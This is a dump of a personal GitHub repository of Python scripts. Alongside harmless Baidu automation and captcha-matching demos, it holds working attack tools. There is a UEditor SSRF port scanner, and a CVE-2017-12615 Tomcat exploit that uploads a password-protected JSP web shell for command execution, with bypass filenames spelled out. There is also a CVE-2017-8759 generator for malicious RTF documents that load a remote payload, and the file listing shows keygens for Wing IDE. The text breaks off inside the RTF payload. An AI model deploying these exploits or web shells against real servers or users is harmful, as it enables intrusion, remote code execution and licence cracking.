├── README.md ├── SSRF └── SSRF_Ueditor_jsp.py ├── baidu ├── BDPandel.py ├── README.md └── tbsign.py ├── captcha └── Pointselection │ ├── CreateCaptcha.php │ ├── ap_1534127614.png │ ├── ap_1534406211.png │ ├── ap_bg.png │ ├── match_image.py │ ├── mp_1534127614.png │ ├── mp_1534406211.png │ ├── mp_bg.png │ └── qcloud_demo.py ├── exploit ├── CVE-2017-12615 │ ├── CVE-2017-12615.py │ ├── README.md │ └── tomcat-7.0.81.jpg ├── CVE-2017-8759 │ └── CVE-2017-8759_exploit_rtf.py └── WinRAR_exploit │ └── WinRAR_exploit.py ├── keygen ├── README.md ├── Wing IDE 5.py └── Wing IDE 6.py ├── tools ├── reGeorgSocksProxy_MMShell.py └── waterMark.py ├── web ├── README.md ├── RSADemo.py └── check_port_jsp.py ├── weblogic ├── README.md └── weblogic_ssrf.py └── work ├── CVE-Monitor.py └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # MyPython 2 | 一些常用的Python脚本 3 | 4 | 目前有[baidu](https://github.com/fupinglee/MyPython/tree/master/baidu)、[keygen](https://github.com/fupinglee/MyPython/tree/master/keygen)、[web](https://github.com/fupinglee/MyPython/tree/master/web)、[weblogic](https://github.com/fupinglee/MyPython/tree/master/weblogic)四类脚本(分的比较杂乱,后期会进行优化)。 5 | 6 | 7 | * * * 8 | 9 | ### baidu 10 | 主要放一些baidu的相关脚本。 11 | 12 | | 名称 | 作用 |备注| 13 | |:-:|:-------------------------------:|:-------------------------------:| 14 | | BDPandel.py | 百度网盘重复大文件删除 |参考[博客](http://fuping.site/2017/05/24/Clean-Duplicate-Files-OF-BaiDu-YunPan/) 15 | | tbsign.py | 百度贴吧自动签到 | 16 | 17 | - - - 18 | 19 | ### keygen 20 | 21 | 算号器。 22 | 23 | | 名称 | 作用 |备注| 24 | |:-:|:-------------------------------:|:-------------------------------:| 25 | | Wing IDE *.py | Wing IDE算号 |参考[博客](http://blog.csdn.net/liumaolincycle/article/details/47756351) 26 | 27 | - - - 28 | 29 | 30 | ### web 31 | 32 | 主要是一些web测试中使用的脚本。 33 | 34 | | 名称 | 作用 |备注| 35 | |:-:|:-------------------------------:|:-------------------------------:| 36 | | RSADemo.py | 一个RSA加密的demo,包括验证码的识别 || 37 | 38 | - - - 39 | 40 | 41 | ### weblogic 42 | 43 | WebLogic相关脚本 44 | 45 | | 名称 | 作用 |备注| 46 | |:-:|:-------------------------------:|:-------------------------------:| 47 | | weblogic_ssrf.py | 利用WebLogic SSRF漏洞探测内网开放的端口 |参考[博客](http://blog.csdn.net/chs007chs/article/details/52514888) 48 | 49 | - - - -------------------------------------------------------------------------------- /SSRF/SSRF_Ueditor_jsp.py: -------------------------------------------------------------------------------- 1 | __Date__="20180524" 2 | 3 | 4 | ''' 5 | Usage: 6 | python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133 7 | python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24 8 | 9 | Python version: 3.6.2 10 | requirements:IPy==0.83 11 | 12 | ''' 13 | import sys 14 | import json 15 | import requests 16 | from IPy import IP 17 | 18 | 19 | def check(url,ip,port): 20 | url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' % (url,ip,port) 21 | res = requests.get(url) 22 | result = res.text 23 | # print(url,result) 24 | result = result.replace("list","\"list\"") 25 | res_json = json.loads(result) 26 | state = res_json['list'][0]['state'] 27 | if state == '远程连接出错' or state == 'SUCCESS': 28 | print(ip,port,'is Open') 29 | 30 | def main(url,ip): 31 | 32 | ips = IP(ip) 33 | ports = [80,8080] 34 | for i in ips: 35 | for port in ports: 36 | check(url,i,port) 37 | if __name__ == '__main__': 38 | url = sys.argv[1] 39 | ip = sys.argv[2] 40 | main(url,ip) -------------------------------------------------------------------------------- /baidu/BDPandel.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | __author__="浮萍" 3 | __Date__="20170524" 4 | 5 | import re 6 | import urllib2 7 | import urllib 8 | import json 9 | import MySQLdb 10 | import sys 11 | import argparse 12 | 13 | reload(sys) 14 | sys.setdefaultencoding('utf8') 15 | headers = { 16 | 'Host':"pan.baidu.com", 17 | 'Accept':'*/*', 18 | 'Accept-Language':'en-US,en;q=0.8', 19 | 'Cache-Control':'max-age=0', 20 | 'Referer':'https://pan.baidu.com/', 21 | 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36', 22 | 'Cookie':"BDUSS=;STOKEN=; " 23 | } 24 | 25 | def getbdstoken(): 26 | res_content=r'bdstoken":"(\w*)","quota' 27 | url = "https://pan.baidu.com/wap/home" 28 | try: 29 | req=urllib2.Request(url,headers=headers) 30 | f=urllib2.urlopen(req) 31 | content=f.read() 32 | r = re.compile(res_content) 33 | return r.findall(content)[0] 34 | except Exception,e: 35 | print "[Error]",str(e) 36 | def getFiles(dir): 37 | url = "https://pan.baidu.com/api/list?bdstoken="+getbdstoken()+"&web=5&app_id=250528&logid=MTQ5NTQxMzA2Njg4ODAuODE0NzYwMjEyMzAzOTY5Mg==&channel=chunlei&clienttype=5&order=time&desc=1&showempty=0&page=1&num=2000&dir="+dir; 38 | req=urllib2.Request(url,headers=headers) 39 | f=urllib2.urlopen(req) 40 | #content=f.read() 41 | result = json.loads(f.read()) 42 | for i in result['list']: 43 | if(i['isdir']): 44 | p = i['path'] 45 | path = p.decode("utf-8") 46 | getFiles(urllib.quote(path.encode('utf-8'))) 47 | else: 48 | #print type((i['path']).encode('utf-8')) 49 | print i['path']+'-----'+i['md5'] + '------'+str(i['size']) 50 | #addDatas(i['size'], (i['md5']).encode('utf-8'), (i['path']).encode('utf-8'), (i['server_filename']).encode('utf-8')) 51 | addDatas(i['size'], i['md5'], i['path'], i['server_filename']) 52 | def addDatas(size,md5,path,server_filename): 53 | conn= MySQLdb.connect( 54 | host='127.0.0.1', 55 | port = 3306, 56 | user='root', 57 | passwd='password', 58 | db ='test', 59 | charset='utf8' 60 | ) 61 | cur = conn.cursor() 62 | sql = "INSERT INTO `test`.`mypan` ( `size`, `md5`, `path`, `server_filename`) VALUES (%s, %s, %s, %s)" 63 | cur.execute(sql,(size,md5,path,server_filename)) 64 | cur.close() 65 | conn.commit() 66 | conn.close() 67 | def getDelFilePath(): 68 | pathlist = [] 69 | conn= MySQLdb.connect( 70 | host='127.0.0.1', 71 | port = 3306, 72 | user='root', 73 | passwd='password', 74 | db ='test', 75 | charset='utf8' 76 | ) 77 | cur = conn.cursor() 78 | sql1 = "select count(*),md5,server_filename from `test`.`mypan` where size > 1024*1024*500 group by md5 HAVING COUNT(md5) >1 order by path" 79 | r1 = cur.execute(sql1) 80 | info = cur.fetchmany(r1) 81 | for ii in info: 82 | md5 = (ii[1]).encode("utf-8") 83 | sql2 = "select min(LENGTH(path)) from `test`.`mypan` where md5= '%s' " % (md5) 84 | r2 = cur.execute(sql2) 85 | info_length = cur.fetchall() 86 | filesize = info_length[0][0] 87 | sql3 = "select path from `test`.`mypan` where md5='%s' and LENGTH(path) > %s" % (md5,filesize) 88 | r3 = cur.execute(sql3) 89 | paths = cur.fetchall() 90 | for path in paths: 91 | pathlist.append(path[0]) 92 | cur.close() 93 | conn.commit() 94 | conn.close() 95 | return pathlist 96 | def getFileList(pathlist): 97 | result = '["' 98 | for path in pathlist: 99 | 100 | result = result +path +'","' 101 | result = result + '**************' 102 | return result.replace(',"**************', "]") 103 | def delFiles(filelist): 104 | filelist = filelist.decode("utf-8") 105 | url = "https://pan.baidu.com/api/filemanager?opera=delete&async=2&channel=chunlei&web=1&app_id=250528&bdstoken="+getbdstoken()+"&logid=MTQ5NTU0ODk4Mjk2MjAuMzgyNjczNDYzNDM0MTU0NA==&clienttype=0" 106 | data = { 107 | 'filelist':filelist 108 | } 109 | req=urllib2.Request(url,headers=headers,data=urllib.urlencode(data)) 110 | f=urllib2.urlopen(req) 111 | #print type(f.read()) 112 | json_r = f.read() 113 | result = json.loads(json_r) 114 | if (result['errno']): 115 | print "文件删除失败" 116 | else: 117 | print "文件删除成功,删除成功的文件为"+filelist 118 | 119 | #result = json.loads(f.read().encode('utf-8')) 120 | def delJob(): 121 | pathlist = getDelFilePath() 122 | filelist = getFileList(pathlist) 123 | delFiles(filelist) 124 | if __name__ == '__main__': 125 | #getbdstoken() 126 | #getFiles('/') 127 | #delJob() 128 | 129 | 130 | parser = argparse.ArgumentParser() 131 | parser.add_argument('-m',help="method to do") 132 | args=parser.parse_args() 133 | if args.m: 134 | if args.m == '1': 135 | getFiles('/') 136 | elif args.m == '2': 137 | delJob() 138 | else: 139 | print 'error args' 140 | else: 141 | print parser.print_help() 142 | exit(0) 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /baidu/README.md: -------------------------------------------------------------------------------- 1 | # 百度相关脚本 2 | 3 | *** 4 | ### BDPandel.py 5 | 该脚本是为了删除百度云盘重复的大文件。 6 | 思路是: 7 | 8 | 1. 将百度网盘所有文件的Md5、文件大小、名字和路径信息保存在数据库中 9 | 2. 根据文件的MD5来区分是否为重复文件,把路径记录下来 10 | 3. 根据文件的路径进行批量删除 11 | 12 | 13 | 详细内容参考[博客](http://fuping.site/2017/05/24/Clean-Duplicate-Files-OF-BaiDu-YunPan/) 14 | 15 | 下载脚本后将数据库信息和Cookie换成自己的。 16 | 17 | >Cookie需要有BDUSS和STOKEN的值即可。 18 | >白名单在Python脚本暂时没有添加,可以参考Java的白名单方式。 19 | 20 | 使用方法: 21 | 22 | 23 | ```python 24 | python BDPandel.py -m 1 //将文件信息入库 25 | python BDPandel.py -m 2 //找出重复的大文件并删除 26 | ``` 27 | --- 28 | ### tbsign.py 29 | 30 | 百度贴吧自动签到程序,将BDUSS替换为自己的BDUSS,直接运行即可。 31 | 32 | --- 33 | -------------------------------------------------------------------------------- /baidu/tbsign.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | __author__="浮萍" 3 | __Date__="20170620" 4 | 5 | 6 | import json 7 | import time 8 | import requests 9 | import time 10 | import hashlib 11 | import re 12 | from urllib import unquote 13 | from collections import OrderedDict 14 | import json 15 | import sys 16 | reload(sys) 17 | sys.setdefaultencoding('utf-8') 18 | class TBAutoSign: 19 | def __init__(self,BDUSS): 20 | self.BDUSS = BDUSS 21 | self.userName = None 22 | self.userId = None 23 | def getUserName(self): 24 | url = 'http://wapp.baidu.com/' 25 | BAIDUID = getMd5(str(int(time.time()))) 26 | cookies = { 27 | 'BAIDUID':BAIDUID, 28 | 'BDUSS':self.BDUSS 29 | } 30 | res = requests.get(url, cookies=cookies) 31 | userName = re.findall('i?un=(.*?)\">',res.text)[0] 32 | # 33 | self.userName = userName 34 | def getUserID(self): 35 | url = 'http://tieba.baidu.com/home/get/panel?ie=utf-8&un=' + self.userName 36 | res = requests.get(url) 37 | result = json.loads(res.text) 38 | userid = result['data']['id'] 39 | self.userId = userid 40 | def getTieba(self): 41 | url = 'http://c.tieba.baidu.com/c/f/forum/like' 42 | pn = 1 43 | data = OrderedDict() 44 | data['_client_id'] = 'wappc_' + str(int(time.time())) + '_258' 45 | data['_client_type'] = str(2) 46 | data['_client_version'] = '6.5.8' 47 | data['_phone_imei'] = '357143042411618' 48 | data['from'] = 'baidu_appstore' 49 | data['is_guest'] = str(1) 50 | data['model'] = 'H60-L01' 51 | data['page_no'] = str(pn) 52 | data['page_size'] = str(200) 53 | data['timestamp'] = str(int(time.time()))+'903' 54 | data['uid'] = self.userId 55 | sign_str = '' 56 | for k,v in data.items(): 57 | sign_str = sign_str + (k+'='+str(v)) 58 | sign = getMd5(sign_str+'tiebaclient!!!') 59 | data['sign'] = sign 60 | cookies = { 61 | 'BDUSS':self.BDUSS 62 | } 63 | res = requests.post(url,data=data,cookies=cookies) 64 | js_non = json.loads(res.text)['forum_list']['non-gconforum'] 65 | js_non.extend(json.loads(res.text)['forum_list']['gconforum']) 66 | for tb in js_non: 67 | print tb['name'],'[级别:'+tb['level_id'],'头衔:'+tb['level_name'],'当前经验:'+tb['cur_score'],'下一等级经验:'+tb['levelup_score']+']',DoSign_Client(self.BDUSS,tb['name']) 68 | #print len(js_non) 69 | 70 | 71 | def DoSign_Client(bduss,kw,fid='1'): 72 | url = 'http://c.tieba.baidu.com/c/c/forum/sign' 73 | cookies = { 74 | 'BDUSS':bduss 75 | } 76 | data = OrderedDict() 77 | data['BDUSS'] = bduss 78 | data['_client_id'] = '03-00-DA-59-05-00-72-96-06-00-01-00-04-00-4C-43-01-00-34-F4-02-00-BC-25-09-00-4E-36' 79 | data['_client_type'] = '4' 80 | data['_client_version'] = '1.2.1.17' 81 | data['_phone_imei'] = '540b43b59d21b7a4824e1fd31b08e9a6' 82 | data['fid'] = fid 83 | data['kw'] = kw 84 | data['net_type'] = '3' 85 | data['tbs'] = getTBS(bduss) 86 | sign_str = '' 87 | for k,v in data.items(): 88 | sign_str = sign_str + (k+'='+v) 89 | sign = getMd5(sign_str+'tiebaclient!!!') 90 | data['sign'] = sign 91 | res = requests.post(url,data=data,cookies=cookies) 92 | result = json.loads(res.text) 93 | return (result['error_msg']) 94 | def getTBS(bduss): 95 | url = 'http://tieba.baidu.com/dc/common/tbs' 96 | cookies = { 97 | 'BDUSS':bduss 98 | } 99 | res = requests.get(url, cookies=cookies) 100 | result = json.loads(res.text) 101 | return result['tbs'] 102 | def getMd5(p): 103 | m = hashlib.md5() 104 | m.update(p) 105 | return m.hexdigest().upper() 106 | def getResult(k): 107 | 108 | return 109 | if __name__ == '__main__': 110 | 111 | BDUSS = '你的BDUSS' 112 | autoSign = TBAutoSign(BDUSS) 113 | autoSign.getUserName() 114 | autoSign.getUserID() 115 | autoSign.getTieba() 116 | 117 | 118 | -------------------------------------------------------------------------------- /captcha/Pointselection/CreateCaptcha.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /captcha/Pointselection/ap_1534127614.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/ap_1534127614.png -------------------------------------------------------------------------------- /captcha/Pointselection/ap_1534406211.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/ap_1534406211.png -------------------------------------------------------------------------------- /captcha/Pointselection/ap_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/ap_bg.png -------------------------------------------------------------------------------- /captcha/Pointselection/match_image.py: -------------------------------------------------------------------------------- 1 | # -*- coding:UTF-8 -*- 2 | __author__ = "浮萍" 3 | __Date__ = "2018/7/5" 4 | 5 | import cv2 6 | import numpy as np 7 | 8 | 9 | def match_img(img_mp,template): 10 | img_gray = cv2.cvtColor(img_mp,cv2.COLOR_BGR2GRAY) 11 | res = cv2.matchTemplate(img_gray,template,cv2.TM_CCOEFF_NORMED) 12 | maxLoc = cv2.minMaxLoc(res) 13 | print(maxLoc) 14 | threshold = maxLoc[1] 15 | loc = np.where(res>=threshold) 16 | return loc 17 | 18 | 19 | ap_path='ap_1534127614.png' 20 | mp_path='mp_1534127614.png' 21 | 22 | template = cv2.imread(ap_path, 0) 23 | template01 = template[4:28, 207:225] # 01 24 | template02 = template[4:28, 229:252] # 02 25 | template03 = template[4:28, 253:279] # 03 26 | cv2.imshow('template', template) 27 | cv2.waitKey(0) 28 | cv2.destroyAllWindows() 29 | img_mp = cv2.imread(mp_path) 30 | loc1 = match_img(img_mp, template01) 31 | loc2 = match_img(img_mp, template02) 32 | loc3 = match_img(img_mp, template03) 33 | w1, h1 = template01.shape[::-1] 34 | w2, h2 = template02.shape[::-1] 35 | w3, h3 = template03.shape[::-1] 36 | for pt in zip(*loc1[::-1]): 37 | cv2.rectangle(img_mp, pt, (pt[0] + w1, pt[1] + h1), (0,0,255), 2) 38 | for pt in zip(*loc2[::-1]): 39 | cv2.rectangle(img_mp, pt, (pt[0] + w1, pt[1] + h1), (0,255,255), 2) 40 | for pt in zip(*loc3[::-1]): 41 | cv2.rectangle(img_mp, pt, (pt[0] + w1, pt[1] + h1), (255,0,0), 2) 42 | cv2.imshow('Detected', img_mp) 43 | cv2.waitKey(0) 44 | cv2.destroyAllWindows() -------------------------------------------------------------------------------- /captcha/Pointselection/mp_1534127614.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/mp_1534127614.png -------------------------------------------------------------------------------- /captcha/Pointselection/mp_1534406211.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/mp_1534406211.png -------------------------------------------------------------------------------- /captcha/Pointselection/mp_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/captcha/Pointselection/mp_bg.png -------------------------------------------------------------------------------- /captcha/Pointselection/qcloud_demo.py: -------------------------------------------------------------------------------- 1 | # -*- coding:UTF-8 -*- 2 | __author__ = "浮萍" 3 | __Date__ = "2018/7/5" 4 | 5 | """ 6 | 参考https://cloud.tencent.com/document/product/866/17600 7 | """ 8 | 9 | import requests 10 | import json 11 | import cv2 12 | 13 | 14 | def getColor(type): 15 | if type == 0: 16 | return (0,0,255) 17 | elif type == 1: 18 | return (0,255,255) 19 | elif type == 2: 20 | return (255,0,0) 21 | headers = { 22 | 'Authorization': 'xxx', 23 | } 24 | url = 'http://recognition.image.myqcloud.com/ocr/general' 25 | data = { 26 | "appid":"xxx", 27 | "bucket":"test", 28 | } 29 | 30 | ap_path='ap_1534406211.png' 31 | mp_path='mp_1534406211.png' 32 | 33 | 34 | ap_files = {'image': open(ap_path, 'rb')} 35 | mp_files = {'image': open(mp_path, 'rb')} 36 | 37 | 38 | ap_res = requests.post(url,data=data, files=ap_files, headers=headers) 39 | mp_res = requests.post(url,data=data, files=mp_files, headers=headers) 40 | ap_res_json = json.loads(ap_res.text) 41 | ap_items_json = ap_res_json['data']['items'] 42 | ap_str = ap_items_json[0]['itemstring'] 43 | ap_need_str = ap_str[-3:] 44 | 45 | 46 | mp_res_json = json.loads(mp_res.text) 47 | mp_items_json = mp_res_json['data']['items'] 48 | mp_items_len = len(mp_items_json) 49 | img_mp = cv2.imread(mp_path) 50 | for i in range(len(ap_need_str)): 51 | for j in range(mp_items_len): 52 | if mp_items_json[j]['itemstring'] == ap_need_str[i]: 53 | cv2.rectangle(img_mp, (mp_items_json[j]['itemcoord']['x'],mp_items_json[j]['itemcoord']['y']), (mp_items_json[j]['itemcoord']['x'] + mp_items_json[j]['itemcoord']['width'], mp_items_json[j]['itemcoord']['y'] + mp_items_json[j]['itemcoord']['height']), getColor(i), 2) 54 | cv2.imshow('Detected', img_mp) 55 | cv2.waitKey(0) 56 | cv2.destroyAllWindows() -------------------------------------------------------------------------------- /exploit/CVE-2017-12615/CVE-2017-12615.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | 3 | __Date__="20170920" 4 | 5 | 6 | ''' 7 | Usage: 8 | python CVE-2017-12615.py www.example.com:8080 9 | 10 | python CVE-2017-12615.py 192.168.135.132 11 | 12 | shell:http://192.168.135.132/1505876909.jsp?cmd=whoami&pwd=023 13 | 14 | Python version: 2.7.13 15 | 16 | tomcat:apache-tomcat-7.0.70 apache-tomcat-7.0.81 17 | 18 | 在apache-tomcat-7.0.70 apache-tomcat-7.0.81测试成功。 19 | apache-tomcat-7.0.70文件名可为test.jsp/ 和 test.jsp::$DATA 20 | apache-tomcat-7.0.81文件名可为test.jsp/ 21 | 文件名也可以试试 test.jsp/. 来绕过 22 | ''' 23 | 24 | import httplib 25 | import sys 26 | import time 27 | 28 | body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp 29 | +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>''' 30 | try: 31 | conn = httplib.HTTPConnection(sys.argv[1]) 32 | conn.request(method='OPTIONS', url='/ffffzz') 33 | headers = dict(conn.getresponse().getheaders()) 34 | if 'allow' in headers and \ 35 | headers['allow'].find('PUT') > 0 : 36 | conn.close() 37 | conn = httplib.HTTPConnection(sys.argv[1]) 38 | url = "/" + str(int(time.time()))+'.jsp/' 39 | #url = "/" + str(int(time.time()))+'.jsp::$DATA' 40 | conn.request( method='PUT', url= url, body=body) 41 | res = conn.getresponse() 42 | if res.status == 201 : 43 | #print 'shell:', 'http://' + sys.argv[1] + url[:-7] 44 | print 'shell:', 'http://' + sys.argv[1] + url[:-1] 45 | elif res.status == 204 : 46 | print 'file exists' 47 | else: 48 | print 'error' 49 | conn.close() 50 | 51 | else: 52 | print 'Server not vulnerable' 53 | 54 | except Exception,e: 55 | print 'Error:', e 56 | -------------------------------------------------------------------------------- /exploit/CVE-2017-12615/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-12615 2 | 打开tomcat下conf\web.xml文件 3 | 找到 4 | ``` 5 | 6 | default 7 | org.apache.catalina.servlets.DefaultServlet 8 | 9 | debug 10 | 0 11 | 12 | 13 | listings 14 | false 15 | 16 | 1 17 | 18 | 19 | ``` 20 | 添加`readonly`为false 21 | ``` 22 | 23 | default 24 | org.apache.catalina.servlets.DefaultServlet 25 | 26 | debug 27 | 0 28 | 29 | 30 | listings 31 | false 32 | 33 | 34 | readonly 35 | false 36 | 37 | 1 38 | 39 | 40 | ``` 41 | 42 | 不能直接put jsp或者jspx文件 43 | 在windows下可以用`test.jsp/`、`test.jsp/.`、`test.jsp::$DATA`来绕过 44 | 经过测试,最新版[apache-tomcat-7.0.81](http://tomcat.apache.org/download-70.cgi)可以用`test.jsp/`、`test.jsp/.`来绕过 45 | 46 | ``` 47 | PUT /test.jsp/ HTTP/1.1 48 | Host: 192.168.135.132:8080 49 | Content-Length: 25 50 | 51 | <%out.println("test");%> 52 | 53 | ``` 54 | ![最新版利用](https://raw.githubusercontent.com/fupinglee/MyPython/master/exploit/CVE-2017-12615/tomcat-7.0.81.jpg) -------------------------------------------------------------------------------- /exploit/CVE-2017-12615/tomcat-7.0.81.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fupinglee/MyPython/a091dfce9c4c3f9979add9d6f1c75648bb5b1c85/exploit/CVE-2017-12615/tomcat-7.0.81.jpg -------------------------------------------------------------------------------- /exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | __author__="浮萍" 3 | __Date__="20170914" 4 | """ 5 | 参考:https://github.com/bhdresh/CVE-2017-0199 6 | 利用可以查看博客:http://fuping.site/2017/09/14/CVE-2017-8759-Remote-Code-Execution-Vulnerability-Replication/ 7 | 使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png 8 | Python version 2.7.13 9 | """ 10 | 11 | import sys 12 | def generate_exploit_rtf(uri): 13 | # Preparing malicious Doc 14 | filename = 'cve-2017-8759.rtf' 15 | docuri_hex = "00".join("{:02x}".format(ord(c)) for c in uri) 16 | docuri_pad_len = 160 - len(docuri_hex) 17 | docuri_pad = "0"*docuri_pad_len 18 | uri_hex = docuri_hex+docuri_pad 19 | 20 | payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n" 21 | payload += "{\\info\n" 22 | payload += "{\\author }\n" 23 | payload += "{\\operator }\n" 24 | payload += "}\n" 25 | payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n" 26 | payload += "{\n" 27 | payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n" 28 | payload += "{\\*\\objclass Word.Document.8}\n" 29 | payload += "{\\*\\objdata 010500000200000008000000E2BAE4E53E2231000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000\n" 30 | payload += "000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 31 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 32 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 33 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 34 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 35 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 36 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 37 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 38 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 39 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 40 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 41 | payload += "FFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF010000000\n" 42 | payload += "003000000000000C000000000000046000000000000000000000000F02C1951C8E5D20103000000000200000000000001004F006C0065000000000000000000000000000000000000000000000000000000000000000000000000\n" 43 | payload += "0000000000000000000000000000000000000000000A000201FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000D80100000000000000000000000\n" 44 | payload += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000\n" 45 | payload += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n" 46 | payload += 